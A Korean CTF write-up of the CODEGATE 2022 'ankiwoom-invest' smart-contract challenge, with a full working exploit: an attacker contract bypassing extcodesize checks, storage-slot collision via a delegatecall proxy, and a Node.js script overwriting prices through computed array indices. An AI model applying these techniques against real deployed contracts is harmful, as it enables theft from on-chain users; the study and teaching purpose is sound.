Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Save YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130 to your computer and use it in GitHub Desktop.
Save YangSeungWon/1399ae85fa5e7c0f9bb9ecd8081cb130 to your computer and use it in GitHub Desktop.

CODEGATE 2022 Preliminary - ankiwoom-invest

tags: blockchain

[name=whysw@PLUS]

Participated as whysw@MINUS in this CTF.

Attachments

Attachments are uploaded on gist.

Challenge

블록체인 카테고리가 있길래 놀랐는데, 진짜 스마트 컨트랙트 문제가 나왔습니다.

What do you think about if stock-exchange server is running on blockchain? Can you buy codegate stock?

service: nc 13.125.194.44 20000

rpc: http://13.125.194.44:8545

faucet: http://13.125.194.44:8080

프라이빗 네트워크이긴 하지만, 특정 event를 emit하면 flag를 준다는 점은 타 문제들과 같습니다.

function isSolved() public isInited {
    if (_total_stocks[keccak256("codegate")] == 0) {
        emit solved(msg.sender);
        address payable addr = payable(address(0));
        selfdestruct(addr);
    }
}

codegate 주식이 1개 발행되어 있는데, 그것을 사면 됩니다.

Failed Tries

Overflow

Investment.sol에서 SafeMath.sol을 import하고 있는데, 가격을 계산할 때만 사용하고 다른 더하거나 빼는 부분에서는 사용하지 않고 있습니다.

require(_balances[msg.sender] >= amount);
        
_balances[msg.sender] -= amount;
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;

하지만 세 부분 모두 음수로 넘어가지 않도록 체크를 잘 하고 있는 모습입니다.

그리고 사실 의미가 없는 것이, Solidity 0.8 버전에서는 SafeMath 기능을 내장하게 되었습니다. 단순히 -, + 연산자만 사용하더라도 자동으로 Overflow를 감지하여 revert한다고 합니다. 문제에서는 0.8.11버전을 사용하고 있어 안전합니다.

Logical Bug

  • 사고파는 과정에서 amount가 잘못 계산될 가능성
fee = 5;
denominator = 1e4;
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);

나누기가 가장 마지막에 동작하기 때문에, 수수료가 0원이 될 수는 있지만 싸게 사서 비싸게 팔 수는 없습니다.

Reentrancy

function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
    bytes32 stockName = keccak256(abi.encodePacked(_stockName));
    require(_amountOfStock > 0);
    require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
    _stocks[msg.sender][stockName] -= _amountOfStock;
    (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
    require(success);
    lastDonater = msg.sender;
    donaters.push(lastDonater);
}

msg.sender.call() 이 불리는데, 이 지점에서 Reentrancy가 가능합니다. Malicious Contract에서 이 donateStock() 함수를 부르면, 같은 Contract에서 receiveStock(address,bytes32,uint256) 함수를 통해 실행 흐름을 넘겨받을 수 있습니다.

isUser(msg.sender) 체크

그러나 isUser(msg.sender)를 체크하는 루틴이 상단에 존재합니다.

function isUser(address _user) internal returns (bool) {
    uint size;
    assembly {
        size := extcodesize(_user)
    }
    return size == 0;
}

extcodesize()를 address에 대해 수행하는데, 대상이 체인에 올라간 Contract인 경우에 extcodesize가 잡히면서 Contract임이 들키게 됩니다. 하지만 Contract의 Constructor가 실행되는 타이밍에는 아직 체인에 올라간 상태가 아니기 때문에, 아직 extcodesize()가 0으로 잡힙니다. 따라서 Contract임에도 isUser()가 ᅟTrue가 되게 할 수 있습니다.

However

_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));

하지만 희망이 사라지는 부분은 내 주식 숫자를 줄이는 부분이 call()보다 앞에 존재한다는 것입니다. 이러면 재진입을 하더라도 이미 내 주식이 줄어들어 있는 상태기 때문에 의미가 없습니다. 추가적으로 단순하게 -로 적혀있기는 하지만 상술한 바와 같이 Overflow 방어가 걸려있는 상태이기 때문에, 이 두 줄의 순서가 바뀌더라도 Reentrancy Attack은 불가능합니다. (내 주식 개수를 넘어가는 요청은 모두 Overflow가 발생하면서 revert될 것)

Solution

Dynamic Array

일단 storage에 값이 어떻게 저장되는지부터 보겠습니다. Key-Value 방식으로 저장이 되는데, 그 주소는 hashed key 입니다. key, value, address 모두 32바이트(256비트)입니다.

contract Investment {
    address private implementation;
    address private owner;
    address[] public donaters;
    ……

Contract에서 쓰이는 State variable들도 Storage에 저장되는데요, 위에서부터 SLOT을 하나씩 부여받습니다. implementation은 SLOT0에 배정이 되어 key가 0이 되고, owner는 SLOT1에 배정이 되어 key가 1이 됩니다. dynamic array인 donaters도 SLOT2에 배정이 되어 key가 2가 됩니다. key 2에 대해서 저장되는 값은 donaters 배열의 길이입니다. 배열의 원소에 접근할 때는, (key인 2를 해시한 값) + index를 key로 가집니다. 따라서 해당 원소의 주소는 (key인 2를 해시한 값) + index를 한번 더 해시한 값이 됩니다.

그런데 만약 2^256 길이의 dynamic array가 있다면 어떻게 될까요? key인 2를 해시한 값을 시작으로 하는 dynamic array가 EVM의 전체 storage를 덮어버립니다. 이는 Dynamic array에 접근이 가능하다면 Storage 값에 대해 Arbitrary read가, 수정까지 가능하다면 Arbitrary write까지 가능해지는 결과를 낳습니다.

그렇다면 donaters에 대해 뭔가 수행하는 부분을 살펴보도록 하겠습니다.

function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
    bytes32 stockName = keccak256(abi.encodePacked(_stockName));
    require(_amountOfStock > 0);
    require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
    _stocks[msg.sender][stockName] -= _amountOfStock;
    (bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
    require(success);
    lastDonater = msg.sender;
    donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
    require(donaters.length > index);
    if (!isUser(lastDonater)) {
        return true;
    }
    else {
        return false;
    }
}
function modifyDonater(uint index) public isInited {
    require(isInvalidDonaters(index));
    donaters[index] = msg.sender;
}

상황이 좋지 않습니다. 배열의 길이를 늘리는 방법은 donaters.push(lastDonater);밖에 없기에, 2^256 길이의 배열을 만들기 위해서는 2^254개의 컨트랙트를 만들어 작업(mint()로 300원을 받고 amd주식을 4개 사서 4번 donate)해야 합니다.

그래도 이 방향이 맞기는 한 것 같습니다. 왜냐하면 donateStock()에서 이미 isUser()를 통과한 상태이기 때문에 lastDonater는 분명히 valid user일텐데, modifyDonater()가 동작하기 위해서는 lastDonater가 contract여야 하기 때문입니다. donateStock()에는 Constructor에서 접근하고, 나중에 그 Contract가 체인에 올라가고 나서 접근하면 lastDonater가 contract(invalid user)가 되어 있는 그림이 그려집니다.


Proxy

Proxy.sol을 봐야할 것 같습니다.

// SPDX-License-Identifier: MIT

pragma solidity 0.8.11;


contract Proxy {
    address implementation;
    address owner;
    
    struct log {
        bytes12 time;
        address sender;
    }
    log info;
    
    constructor(address _target) {
        owner = msg.sender;
        implementation = _target;
    }

    function setImplementation(address _target) public {
        require(msg.sender == owner);
        implementation = _target;
    }

    function _delegate(address _target) internal {
        assembly {
            calldatacopy(0, 0, calldatasize())

            let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)

            returndatacopy(0, 0, returndatasize())

            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    function _implementation() internal view returns (address) {
        return implementation;
    }

    function _fallback() internal {
        _beforeFallback();
        _delegate(_implementation());
    }

    fallback() external payable {
        _fallback();
    }

    receive() external payable {
        _fallback();
    }

    function _beforeFallback() internal {
        info.time = bytes12(uint96(block.timestamp));
        info.sender = msg.sender;
    }
}

동작을 간단히 정리하자면 다음과 같습니다.

  1. Proxy는 implementation의 값으로 다른 Contract를 가집니다.
  2. fallback()이나 receive()가 불리면 a. block.timestampmsg.sender를 저장합니다. b. calldata를 이용해 대상 Contract에게 delegateCall()합니다. c. delegateCall()의 결과를 받아옵니다.

이름처럼 정말 proxy의 역할을 하고 있습니다. Proxy에 대고 init()을 호출하면, 그런 함수(정확히는 같은 시그니처를 가진)가 없기 때문에 fallback()이 호출될 것입니다. 그러면 delegateCall()implementation contract에 대해 init()을 다시 호출합니다.


nc 접속했을 때 deploy해주는 contract가 Proxy가 맞는지는 해당 주소에 올라가 있는 contract의 code를 뜯어서 확인해볼 수 있습니다.

$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getCode","params":["REDACTED", "latest"],"id":1}'

추가적으로 SLOT0에 있는 값을 확인하여, 해당 Proxy가 가지고 있는 implementation을 확인할 수 있고, 나아가 그것이 Investment가 맞음을 확인할 수 있습니다.

$ curl -X POST -H "Content-Type: application/json" 13.125.194.44:8545 --data '{"jsonrpc":"2.0","method":"eth_getStorageAt","params":["REDACTED", "0x0", "latest"],"id":1}'

그런데 이런 쓸모도 없는 Proxy가 왜 달려 있을까요?


delegateCall

There exists a special variant of a message call, named delegatecall which is identical to a message call apart from the fact that the code at the target address is executed in the context of the calling contract and msg.sender and msg.value do not change their values.

This means that a contract can dynamically load code from a different address at runtime. Storage, current address and balance still refer to the calling contract, only the code is taken from the called address.

https://docs.soliditylang.org/en/v0.8.12/introduction-to-smart-contracts.html?highlight=delegateCall#delegatecall-callcode-and-libraries

위에서 본 call()은 현재 실행되고 있는 contract가 주체가 되어 다른 contract로 요청을 보냅니다. 하지만 delegateCall()은 현재 contract의 상태를 유지하면서 다른 contract의 코드만을 실행합니다.

현재 상태에 대입해보면, Proxy contract가 delegateCall()를 쓰면 Proxy contract의 storage 상태를 기반으로 Investment contract의 함수가 불릴 것입니다.

이것을 기억하면서 Proxy와 Investment의 ᅟState variables를 비교해보면..!!

contract Proxy {
    address implementation;
    address owner;
    
    struct log {
        bytes12 time;
        address sender;
    }
    log info;
contract Investment {
    address private implementation;
    address private owner;
    address[] public donaters;

딱 원하던 곳, dynamic array donaters의 길이가 저장되어 있는 SLOT2에 struct log가 저장되는 것을 알 수 있습니다. bytes12가 12바이트, address가 20바이트이니 딱 SLOT2를 채우게 됩니다.

사실 Investment.sol에 쓰지도 않는 implementationowner가 있는 것을 보고 눈치를 챘어야 했겠네요.

Exploit

그래서 나오는 최종 익스 플랜은,

1. Contract 하나를 만들어서 Proxy에 접근
    a. init()
    b. mint()
    c. buyStock("amd", 4)  // 회사명과 수량 아무거나
    d. donateStock(address(this), "amd", 1)  // 주소, 회사명과 수량 아무거나
    결과: `lastDonater`: 1에서 만든 Contract, 이제는 valid user 아님.
2. mint()
3. buyStock("amd", 4) // 조작할 회사, 수량은 2 이상으로
4. modifyDonater(`0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8`)
    // codegate의 가격 조작
5. modifyDonater(`0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37`)
    // amd의 가격 조작
6. sellStock("amd", 4)
7. buyStock("codegate", 1)
8. isSolved()

가격을 덮어씌울 때 쓰는 index 값은 dynamic array가 시작하는 SLOT2의 주소값(0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace)을 기준으로 구합니다.

codegate
    0x233232af672f5f1aec5aa2de748da4122c59e74faa385262f32ac5a44f060f5f:
      Object
      key: 0x0fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6
      value: 0x085bec12b4b9a40d8f483cb1c71c71c7
amd
    0x7f9580bb2e402da609782f512a26ac511100385adb6a8523baea91bbb2227775:
      Object
      key: 0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605
      value: 0x4a

key값이 SLOT2의 주소값 + index이니 index는 SLOT2의 주소값 - key값입니다.

>>> '0x{0:0{1}x}'.format(0x10fc2e7bb86d6c8a5ced16c27882e3d81d175178fabccc20fbd0318c689e044a6 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0xcf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8'
>>> '0x{0:0{1}x}'.format(0x467eb1769a502377c95a7b7a3a4a63c331e7421ec77dd7afad1498b388041605 - 0x405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace, 64)
'0x0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37'

평소에 ropsten testnet 쓰던 문제들은 remix와 metamask 조합으로 풀었어서, 이번 문제의 경우에도 프라이빗 네트워크긴 하지만 똑같이 RPC 서버를 등록해서 풀려고 시도했습니다. 그런데 metamask가 동작하지 않아서 티켓을 날렸더니 JSON RPC가 제한되어 있어서 그럴 수 있다는 답을 받았습니다.

var whitelist = [
    "eth_blockNumber",
    "eth_call",
    "eth_chainId",
    "eth_estimateGas",
    "eth_gasPrice",
    "eth_getBalance",
    "eth_getCode",
    "eth_getStorageAt",
    "eth_getTransactionByHash",
    "eth_getTransactionCount",
    "eth_getTransactionReceipt",
    "eth_sendRawTransaction",
    "net_version",
    "rpc_modules",
    "web3_clientVersion"
];

https://github.com/chainflag/ctf-eth-env/blob/78cf308b3579ff2a9849dc12adabbcc98da7b6c1/docker/rpcproxy/njs/eth-jsonrpc-access.js 정말 피도 눈물도 없게 막혀 있었는데요, 특히 signTransaction이 없어서 web3.eth.accounts.signTransaction이 안되고, 로컬에서 sign을 해서 보내야 했습니다.

그런데 chainId를 잘 설정을 못해줘서 invalid sender 오류가 떴고, 결국 const common = Common.custom({ chainId: 0x746 })으로 해결했습니다.


최종 솔버 .env

# .env
API_URL = "http://13.125.194.44:8545"
PRIVATE_KEY = "REDACTED"
ADDRESS = "REDACTED"

Sol.sol


// SPDX-License-Identifier: MIT

pragma solidity >=0.8.11;

contract Sol {
    address public proxy;
    string public targetStock;

    constructor (address _proxy) {
        proxy = _proxy;
        setTargetStock("amd");
        init();
        mint();
        buyStock(4);
        donateStock(1);
    }

    function setTargetStock(string memory name) public {
        targetStock = name;
    }

    function init() public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()"));
        require(success);
    }

    function buyStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount));
        require(success);
    }

    function sellStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount));
        require(success);
    }

    function donateStock(uint amount) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount));
        require(success);
    }

    function modifyDonater(uint index) public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index));
        require(success);
    }

    function mint() public {
        (bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()"));
        require(success);
    }

    function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) {
        // msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock));
        return keccak256("apple");
    }

    function giveMeName(string memory foo) public returns (bytes memory) {
        return abi.encodeWithSignature(foo);
    }

    function testApple() public returns (bytes32) {
        return keccak256("apple");
    }
}

Sol.sol로부터 solc를 이용해 Sol.abiSol.bin을 만들었습니다.

sol.js

const fs = require('fs')
const Common = require('@ethereumjs/common').default
const Transaction = require('@ethereumjs/tx').Transaction
const Web3 = require('web3');

require('dotenv').config();
const { ADDRESS, API_URL, PRIVATE_KEY } = process.env;
const web3 = new Web3(API_URL);
const common = Common.custom({ chainId: 0x746 })
const Contract = "REDACTED"


async function main() {
    // 1. deploy the contract who will become invalid last donater
    console.log("[+] deploying contract…");
    await deploy("Sol", [Contract]);

    // 2. mint
    console.log("[+] taking base money…");
    await send("0x1249c58b") // mint

    // 3. buy cheap stocks
    console.log("[+] buying 4 amd stock…");
    await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4

    // 4. overwrite prices
    console.log("[+] overwriting codegate stock price…");
    await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price
    // 4-1, should also await, because of nonce problem
    console.log("[+] overwriting amd stock price…");
    await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price

    // 5. sell previously bought stocks
    console.log("[+] selling 3 amd stock…");
    await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3

    // 6. buy codegate stock
    console.log("[+] buying 1 codegate stock…");
    await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1

    // 7. confirm solved
    console.log("[+] checking whether I deserve flag…");
    await send('0x64d98f6e') // isSolved
    console.log("[!] copy and paste TX hash above");
}

async function deploy(contractName, contractArgs) {
    let abi = fs.readFileSync(contractName + ".abi").toString();
    let bin = fs.readFileSync(contractName + ".bin").toString();
    let contract = new web3.eth.Contract(JSON.parse(abi));
    await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs }));
}

async function _deploy(transaction) {
    let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
    let txParams = {
        nonce: nonce,
        gasPrice: 60000,
        gasLimit: '0x271000',
        to: transaction._parent._address,
        value: '0x00',
        data: transaction.encodeABI(),
        chainId: '0x746'
    }
    await _send(txParams);
}

async function send(data) {
    let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
    let txParams = {
        nonce: nonce,
        gasPrice: 60000,
        gasLimit: '0x271000',
        to: Contract,
        value: '0x00',
        data: data,
        chainId: '0x746'
    }
    await _send(txParams);
}

async function _send(txParams) {
    const tx = Transaction.fromTxData(txParams, { common })
    const privateKey = Buffer.from(PRIVATE_KEY, 'hex')
    const signedTx = tx.sign(privateKey)

    const serializedTx = signedTx.serialize()
    let rawTxHex = '0x' + serializedTx.toString('hex');

    let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex)
    if (error) {
        console.log("❗Something went wrong while submitting your transaction:", error);
        throw new Error(error);
    }
    console.log("🎉 The hash of your transaction is: ", transaction.transactionHash);    
}

main()
$ node sol.js
[+] deploying contract…
🎉 The hash of your transaction is:  REDACTED
[+] taking base money…
🎉 The hash of your transaction is:  REDACTED
[+] buying 4 amd stock…
🎉 The hash of your transaction is:  REDACTED
[+] overwriting codegate stock price…
🎉 The hash of your transaction is:  REDACTED
[+] overwriting amd stock price…
🎉 The hash of your transaction is:  REDACTED
[+] selling 3 amd stock…
🎉 The hash of your transaction is:  REDACTED
[+] buying 1 codegate stock…
🎉 The hash of your transaction is:  REDACTED
[+] checking whether I deserve flag…
🎉 The hash of your transaction is:  REDACTED
[!] copy and paste TX hash above

토큰과 마지막 TX hash를 넣으면 flag가 나옵니다.

후기

dynamic array로 overwrite하는 건 바로 생각을 했는데, Proxy의 존재 의의를 늦게 알아챘습니다. 당연히 익스에 필요하니까 달려있는 거일텐데… remix랑 metamask가 막히니까 web3py로 갔는데, sign 로컬에서 해주는 부분이랑 chainId가 다른 부분에서 막혀서 web3js로 갔고, 거기서도 바로 해결책을 찾아내지 못해서 시간을 좀 많이 끌렸습니다. 시간 내에 풀었으면 정말 좋았겠지만 그러지 못했기에 이렇게 분노의 writeup이라도 남겨봅니다.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
import "OpenZeppelin/openzeppelin-contracts@4.4.2/contracts/utils/math/SafeMath.sol";
contract Investment {
address private implementation;
address private owner;
address[] public donaters;
using SafeMath for uint;
mapping (address => bool) private _minted;
mapping (bytes32 => uint) private _total_stocks;
mapping (bytes32 => uint) private _reg_stocks;
mapping (address => mapping (bytes32 => uint)) private _stocks;
mapping (address => uint) private _balances;
address lastDonater;
uint fee;
uint denominator;
bool inited;
event solved(address);
modifier isInited {
require(inited);
_;
}
function init() public {
require(!inited);
_reg_stocks[keccak256("apple")] = 111;
_total_stocks[keccak256("apple")] = 99999999;
_reg_stocks[keccak256("microsoft")] = 101;
_total_stocks[keccak256("microsoft")] = 99999999;
_reg_stocks[keccak256("intel")] = 97;
_total_stocks[keccak256("intel")] = 99999999;
_reg_stocks[keccak256("amd")] = 74;
_total_stocks[keccak256("amd")] = 99999999;
_reg_stocks[keccak256("codegate")] = 11111111111111111111111111111111111111;
_total_stocks[keccak256("codegate")] = 1;
fee = 5;
denominator = 1e4;
inited = true;
}
function buyStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_total_stocks[stockName] > 0 && _amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator + fee).div(denominator);
require(_balances[msg.sender] >= amount);
_balances[msg.sender] -= amount;
_stocks[msg.sender][stockName] += _amountOfStock;
_total_stocks[stockName] -= _amountOfStock;
}
function sellStock(string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
uint amount = _reg_stocks[stockName].mul(_amountOfStock).mul(denominator).div(denominator + fee);
require(_stocks[msg.sender][stockName] >= _amountOfStock);
_balances[msg.sender] += amount;
_stocks[msg.sender][stockName] -= _amountOfStock;
_total_stocks[stockName] += _amountOfStock;
}
function donateStock(address _to, string memory _stockName, uint _amountOfStock) public isInited {
bytes32 stockName = keccak256(abi.encodePacked(_stockName));
require(_amountOfStock > 0);
require(isUser(msg.sender) && _stocks[msg.sender][stockName] >= _amountOfStock);
_stocks[msg.sender][stockName] -= _amountOfStock;
(bool success, bytes memory result) = msg.sender.call(abi.encodeWithSignature("receiveStock(address,bytes32,uint256)", _to, stockName, _amountOfStock));
require(success);
lastDonater = msg.sender;
donaters.push(lastDonater);
}
function isInvalidDonaters(uint index) internal returns (bool) {
require(donaters.length > index);
if (!isUser(lastDonater)) {
return true;
}
else {
return false;
}
}
function modifyDonater(uint index) public isInited {
require(isInvalidDonaters(index));
donaters[index] = msg.sender;
}
function isUser(address _user) internal returns (bool) {
uint size;
assembly {
size := extcodesize(_user)
}
return size == 0;
}
function mint() public isInited {
require(!_minted[msg.sender]);
_balances[msg.sender] = 300;
_minted[msg.sender] = true;
}
function isSolved() public isInited {
if (_total_stocks[keccak256("codegate")] == 0) {
emit solved(msg.sender);
address payable addr = payable(address(0));
selfdestruct(addr);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.11;
contract Proxy {
address implementation;
address owner;
struct log {
bytes12 time;
address sender;
}
log info;
constructor(address _target) {
owner = msg.sender;
implementation = _target;
}
function setImplementation(address _target) public {
require(msg.sender == owner);
implementation = _target;
}
function _delegate(address _target) internal {
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), _target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
function _implementation() internal view returns (address) {
return implementation;
}
function _fallback() internal {
_beforeFallback();
_delegate(_implementation());
}
fallback() external payable {
_fallback();
}
receive() external payable {
_fallback();
}
function _beforeFallback() internal {
info.time = bytes12(uint96(block.timestamp));
info.sender = msg.sender;
}
}
const fs = require('fs')
const Common = require('@ethereumjs/common').default
const Transaction = require('@ethereumjs/tx').Transaction
const Web3 = require('web3');
require('dotenv').config();
const { ADDRESS, API_URL, PRIVATE_KEY } = process.env;
const web3 = new Web3(API_URL);
const common = Common.custom({ chainId: 0x746 })
const Contract = "REDACTED"
async function main() {
// 1. deploy the contract who will become invalid last donater
console.log("[+] deploying contract…");
await deploy("Sol", [Contract]);
// 2. mint
console.log("[+] taking base money…");
await send("0x1249c58b") // mint
// 3. buy cheap stocks
console.log("[+] buying 4 amd stock…");
await send("0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //buy amd 4
// 4. overwrite prices
console.log("[+] overwriting codegate stock price…");
await send("0x9bceca6ccf6b5fc1742ea4c4dc1a090ac41301d94ee9e46de14bb0fdc28d4b8be624e9d8") // overwrite codegate price
// 4-1, should also await, because of nonce problem
console.log("[+] overwriting amd stock price…");
await send("0x9bceca6c0627297c87a7ff96d6a3185d762f281aaf5c0efcfcfcc69db29ecb78e448bb37") // overwrite amd price
// 5. sell previously bought stocks
console.log("[+] selling 3 amd stock…");
await send("0x9c15a104000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000030000000000000000000000000000000000000000000000000000000000000003616d640000000000000000000000000000000000000000000000000000000000") //sell amd 3
// 6. buy codegate stock
console.log("[+] buying 1 codegate stock…");
await send('0x705c0f4f000000000000000000000000000000000000000000000000000000000000004000000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000008636f646567617465000000000000000000000000000000000000000000000000') //buy codegate 1
// 7. confirm solved
console.log("[+] checking whether I deserve flag…");
await send('0x64d98f6e') // isSolved
console.log("[!] copy and paste TX hash above");
}
async function deploy(contractName, contractArgs) {
let abi = fs.readFileSync(contractName + ".abi").toString();
let bin = fs.readFileSync(contractName + ".bin").toString();
let contract = new web3.eth.Contract(JSON.parse(abi));
await _deploy(contract.deploy({ data: "0x" + bin, arguments: contractArgs }));
}
async function _deploy(transaction) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: transaction._parent._address,
value: '0x00',
data: transaction.encodeABI(),
chainId: '0x746'
}
await _send(txParams);
}
async function send(data) {
let nonce = await web3.eth.getTransactionCount(ADDRESS, 'latest');
let txParams = {
nonce: nonce,
gasPrice: 60000,
gasLimit: '0x271000',
to: Contract,
value: '0x00',
data: data,
chainId: '0x746'
}
await _send(txParams);
}
async function _send(txParams) {
const tx = Transaction.fromTxData(txParams, { common })
const privateKey = Buffer.from(PRIVATE_KEY, 'hex')
const signedTx = tx.sign(privateKey)
const serializedTx = signedTx.serialize()
let rawTxHex = '0x' + serializedTx.toString('hex');
let error, transaction = await web3.eth.sendSignedTransaction(rawTxHex)
if (error) {
console.log("❗Something went wrong while submitting your transaction:", error);
throw new Error(error);
}
console.log("🎉 The hash of your transaction is: ", transaction.transactionHash);
}
main()
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.11;
contract Sol {
address public proxy;
string public targetStock;
constructor (address _proxy) {
proxy = _proxy;
setTargetStock("amd");
init();
mint();
buyStock(4);
donateStock(1);
}
function setTargetStock(string memory name) public {
targetStock = name;
}
function init() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("init()"));
require(success);
}
function buyStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("buyStock(string,uint256)", targetStock, amount));
require(success);
}
function sellStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("sellStock(string,uint256)", targetStock, amount));
require(success);
}
function donateStock(uint amount) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("donateStock(address,string,uint256)", address(this), targetStock, amount));
require(success);
}
function modifyDonater(uint index) public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("modifyDonater(uint256)", index));
require(success);
}
function mint() public {
(bool success, bytes memory result) = proxy.call(abi.encodeWithSignature("mint()"));
require(success);
}
function receiveStock(address _to, bytes32 _stockName, uint256 _amountOfStock) public returns (bytes32) {
// msg.sender.call(abi.encodeWithSignature("donateStock(address,string,uint256)", _to, targetStock, _amountOfStock));
return keccak256("apple");
}
function giveMeName(string memory foo) public returns (bytes memory) {
return abi.encodeWithSignature(foo);
}
function testApple() public returns (bytes32) {
return keccak256("apple");
}
}
@nullbr4in
Copy link

@nullbr4in http://remix.ethereum.org/ 에서 해당 컨트랙트를 컴파일한 후 Javascript VM으로 돌리고, init()함수를 실행한 후 Debug Transaction을 수행했습니다. 그러면 왼쪽에서 Storage 정보를 확인할 수 있습니다. mapping의 경우에도 각각의 key를 계산하는 방식이 정해져 있기 때문에 계산으로 구할 수도 있습니다.

자세히 답변주셔서 감사합니다. 좋은 내용 공유해주셔서 감사합니다. ^^

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment